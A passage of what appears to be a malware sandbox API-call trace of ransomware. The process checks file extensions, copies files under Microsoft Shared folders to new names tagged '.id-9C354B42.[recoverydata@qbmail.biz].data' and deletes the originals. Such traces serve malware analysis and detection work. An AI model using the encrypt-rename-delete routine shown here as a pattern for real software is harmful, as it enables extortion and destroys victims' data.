returned 102 [0097.266] lstrlenW (lpString=".jpg") returned 4 [0097.266] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0097.267] lstrcmpiW (lpString1=".XML", lpString2=".data") returned 1 [0097.267] lstrlenW (lpString="DATES.XML") returned 9 [0097.267] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0097.268] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2f0ff1c | out: lpFileSize=0x2f0ff1c*=8918) returned 1 [0097.268] CloseHandle (hObject=0x1d4) returned 1 [0097.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml")) returned 0x20 [0097.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0097.268] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0097.268] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0097.269] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0097.269] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0098.392] GetLastError () returned 0x0 [0098.392] ReadFile (in: hFile=0x1d4, lpBuffer=0x3980020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesRead=0x2f0fed4*=0x22d6, lpOverlapped=0x0) returned 1 [0098.394] WriteFile (in: hFile=0x18c, lpBuffer=0x3980020*, nNumberOfBytesToWrite=0x22e0, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesWritten=0x2f0fc9c*=0x22e0, lpOverlapped=0x0) returned 1 [0098.395] ReadFile (in: hFile=0x1d4, lpBuffer=0x3980020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesRead=0x2f0fed4*=0x0, lpOverlapped=0x0) returned 1 [0098.395] WriteFile (in: hFile=0x18c, lpBuffer=0x3980020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesWritten=0x2f0fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0098.395] SetEndOfFile (hFile=0x18c) returned 1 [0099.917] CloseHandle (hObject=0x18c) returned 1 [0099.917] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.917] SetEndOfFile (hFile=0x1d4) returned 1 [0099.919] CloseHandle (hObject=0x1d4) returned 1 [0099.919] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x20) returned 1 [0099.920] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml")) returned 1 [0100.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0100.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0100.495] lstrlenW (lpString=".doc") returned 4 [0100.495] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0100.495] lstrlenW (lpString=".docx") returned 5 [0100.495] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0100.495] lstrlenW (lpString=".pdf") returned 4 [0100.495] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0100.495] lstrlenW (lpString=".xls") returned 4 [0100.495] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0100.495] lstrlenW (lpString=".xlsx") returned 5 [0100.496] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0100.496] lstrlenW (lpString=".ppt") returned 4 [0100.496] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0100.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0100.496] lstrlenW (lpString=".zip") returned 4 [0100.496] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0100.496] lstrlenW (lpString=".rar") returned 4 [0100.496] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0100.496] lstrlenW (lpString=".bz2") returned 4 [0100.496] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0100.496] lstrlenW (lpString=".7z") returned 3 [0100.496] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0100.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0100.496] lstrlenW (lpString=".dbf") returned 4 [0100.496] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0100.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0100.496] lstrlenW (lpString=".1cd") returned 4 [0100.496] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0100.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0100.496] lstrlenW (lpString=".jpg") returned 4 [0100.496] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0100.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0100.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0100.497] lstrlenW (lpString=".doc") returned 4 [0100.497] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0100.497] lstrlenW (lpString=".docx") returned 5 [0100.497] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0100.497] lstrlenW (lpString=".pdf") returned 4 [0100.497] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0100.497] lstrlenW (lpString=".xls") returned 4 [0100.497] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0100.497] lstrlenW (lpString=".xlsx") returned 5 [0100.497] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0100.497] lstrlenW (lpString=".ppt") returned 4 [0100.497] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0100.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0100.497] lstrlenW (lpString=".zip") returned 4 [0100.497] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0100.497] lstrlenW (lpString=".rar") returned 4 [0100.497] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0100.497] lstrlenW (lpString=".bz2") returned 4 [0100.497] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0100.497] lstrlenW (lpString=".7z") returned 3 [0100.497] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0100.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0100.497] lstrlenW (lpString=".dbf") returned 4 [0100.497] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0100.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0100.498] lstrlenW (lpString=".1cd") returned 4 [0100.498] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0100.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0100.498] lstrlenW (lpString=".jpg") returned 4 [0100.498] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0100.498] lstrcmpiW (lpString1=".htm", lpString2=".data") returned 1 [0100.498] lstrlenW (lpString="Garden.htm") returned 10 [0100.498] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0100.498] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2f0ff1c | out: lpFileSize=0x2f0ff1c*=231) returned 1 [0100.499] CloseHandle (hObject=0x204) returned 1 [0100.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm")) returned 0x20 [0100.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0100.499] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0100.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0100.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0100.499] lstrlenW (lpString=".doc") returned 4 [0100.499] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0100.499] lstrlenW (lpString=".docx") returned 5 [0100.499] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1 [0100.499] lstrlenW (lpString=".pdf") returned 4 [0100.499] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0100.499] lstrlenW (lpString=".xls") returned 4 [0100.499] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0100.499] lstrlenW (lpString=".xlsx") returned 5 [0100.499] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1 [0100.499] lstrlenW (lpString=".ppt") returned 4 [0100.499] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0100.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0100.499] lstrlenW (lpString=".zip") returned 4 [0100.500] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0100.500] lstrlenW (lpString=".rar") returned 4 [0100.500] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0100.500] lstrlenW (lpString=".bz2") returned 4 [0100.500] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0100.500] lstrlenW (lpString=".7z") returned 3 [0100.500] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0100.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0100.500] lstrlenW (lpString=".dbf") returned 4 [0100.500] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0100.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0100.500] lstrlenW (lpString=".1cd") returned 4 [0100.500] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0100.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0100.500] lstrlenW (lpString=".jpg") returned 4 [0100.500] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0100.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0100.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0100.500] lstrlenW (lpString=".doc") returned 4 [0100.500] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0100.500] lstrlenW (lpString=".docx") returned 5 [0100.500] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1 [0100.500] lstrlenW (lpString=".pdf") returned 4 [0100.500] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0100.500] lstrlenW (lpString=".xls") returned 4 [0100.500] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0100.500] lstrlenW (lpString=".xlsx") returned 5 [0100.501] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1 [0100.501] lstrlenW (lpString=".ppt") returned 4 [0100.501] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0100.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0100.501] lstrlenW (lpString=".zip") returned 4 [0100.501] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0100.501] lstrlenW (lpString=".rar") returned 4 [0100.501] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0100.501] lstrlenW (lpString=".bz2") returned 4 [0100.501] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0100.501] lstrlenW (lpString=".7z") returned 3 [0100.501] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0100.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0100.501] lstrlenW (lpString=".dbf") returned 4 [0100.501] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0100.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0100.501] lstrlenW (lpString=".1cd") returned 4 [0100.501] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0100.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0100.501] lstrlenW (lpString=".jpg") returned 4 [0100.501] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0100.502] lstrcmpiW (lpString1=".jpg", lpString2=".data") returned 1 [0100.502] lstrlenW (lpString="Garden.jpg") returned 10 [0100.502] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0100.502] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2f0ff1c | out: lpFileSize=0x2f0ff1c*=23871) returned 1 [0100.502] CloseHandle (hObject=0x204) returned 1 [0100.502] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg")) returned 0x20 [0100.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0100.503] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0100.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0100.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0100.503] lstrlenW (lpString=".doc") returned 4 [0100.503] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0100.503] lstrlenW (lpString=".docx") returned 5 [0100.503] lstrcmpiW (lpString1=".docx", lpString2="n.jpg") returned -1 [0100.503] lstrlenW (lpString=".pdf") returned 4 [0100.503] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0100.503] lstrlenW (lpString=".xls") returned 4 [0100.503] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0100.503] lstrlenW (lpString=".xlsx") returned 5 [0100.503] lstrcmpiW (lpString1=".xlsx", lpString2="n.jpg") returned -1 [0100.503] lstrlenW (lpString=".ppt") returned 4 [0100.503] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0100.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0100.503] lstrlenW (lpString=".zip") returned 4 [0100.503] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0100.503] lstrlenW (lpString=".rar") returned 4 [0100.503] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0100.504] lstrlenW (lpString=".bz2") returned 4 [0100.504] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0100.504] lstrlenW (lpString=".7z") returned 3 [0100.504] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0100.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0100.504] lstrlenW (lpString=".dbf") returned 4 [0100.504] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0100.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0100.504] lstrlenW (lpString=".1cd") returned 4 [0100.504] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0100.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0100.504] lstrlenW (lpString=".jpg") returned 4 [0100.504] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0100.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0100.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0100.504] lstrlenW (lpString=".doc") returned 4 [0100.504] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0100.504] lstrlenW (lpString=".docx") returned 5 [0100.504] lstrcmpiW (lpString1=".docx", lpString2="n.jpg") returned -1 [0100.505] lstrlenW (lpString=".pdf") returned 4 [0100.505] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0100.505] lstrlenW (lpString=".xls") returned 4 [0100.505] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0100.505] lstrlenW (lpString=".xlsx") returned 5 [0100.505] lstrcmpiW (lpString1=".xlsx", lpString2="n.jpg") returned -1 [0100.505] lstrlenW (lpString=".ppt") returned 4 [0100.505] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0100.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0100.505] lstrlenW (lpString=".zip") returned 4 [0100.505] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0100.505] lstrlenW (lpString=".rar") returned 4 [0100.505] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0100.505] lstrlenW (lpString=".bz2") returned 4 [0100.505] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0100.505] lstrlenW (lpString=".7z") returned 3 [0100.505] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0100.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0100.505] lstrlenW (lpString=".dbf") returned 4 [0100.505] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0100.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0100.505] lstrlenW (lpString=".1cd") returned 4 [0100.506] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0100.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0100.506] lstrlenW (lpString=".jpg") returned 4 [0100.506] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0100.506] lstrcmpiW (lpString1=".emf", lpString2=".data") returned 1 [0100.506] lstrlenW (lpString="Genko_1.emf") returned 11 [0100.506] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0101.056] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2f0ff1c | out: lpFileSize=0x2f0ff1c*=5524) returned 1 [0101.056] CloseHandle (hObject=0x214) returned 1 [0101.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf")) returned 0x20 [0101.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0101.057] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0101.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0101.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0101.057] lstrlenW (lpString=".doc") returned 4 [0101.057] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0101.057] lstrlenW (lpString=".docx") returned 5 [0101.057] lstrcmpiW (lpString1=".docx", lpString2="1.emf") returned -1 [0101.057] lstrlenW (lpString=".pdf") returned 4 [0101.057] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0101.058] lstrlenW (lpString=".xls") returned 4 [0101.058] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0101.058] lstrlenW (lpString=".xlsx") returned 5 [0101.058] lstrcmpiW (lpString1=".xlsx", lpString2="1.emf") returned -1 [0101.058] lstrlenW (lpString=".ppt") returned 4 [0101.058] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0101.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0101.058] lstrlenW (lpString=".zip") returned 4 [0101.058] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0101.058] lstrlenW (lpString=".rar") returned 4 [0101.058] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0101.058] lstrlenW (lpString=".bz2") returned 4 [0101.059] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0101.059] lstrlenW (lpString=".7z") returned 3 [0101.059] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0101.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0101.059] lstrlenW (lpString=".dbf") returned 4 [0101.059] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0101.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0101.059] lstrlenW (lpString=".1cd") returned 4 [0101.059] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0101.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0101.059] lstrlenW (lpString=".jpg") returned 4 [0101.059] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0101.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0101.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0101.060] lstrlenW (lpString=".doc") returned 4 [0101.060] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0101.060] lstrlenW (lpString=".docx") returned 5 [0101.060] lstrcmpiW (lpString1=".docx", lpString2="1.emf") returned -1 [0101.060] lstrlenW (lpString=".pdf") returned 4 [0101.060] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0101.060] lstrlenW (lpString=".xls") returned 4 [0101.060] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0101.060] lstrlenW (lpString=".xlsx") returned 5 [0101.060] lstrcmpiW (lpString1=".xlsx", lpString2="1.emf") returned -1 [0101.060] lstrlenW (lpString=".ppt") returned 4 [0101.060] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0101.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0101.061] lstrlenW (lpString=".zip") returned 4 [0101.061] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0101.061] lstrlenW (lpString=".rar") returned 4 [0101.061] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0101.061] lstrlenW (lpString=".bz2") returned 4 [0101.061] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0101.061] lstrlenW (lpString=".7z") returned 3 [0101.061] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0101.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0101.061] lstrlenW (lpString=".dbf") returned 4 [0101.061] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0101.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0101.061] lstrlenW (lpString=".1cd") returned 4 [0101.061] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0101.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0101.062] lstrlenW (lpString=".jpg") returned 4 [0101.062] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0101.062] lstrcmpiW (lpString1=".GIF", lpString2=".data") returned 1 [0101.062] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0101.062] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft 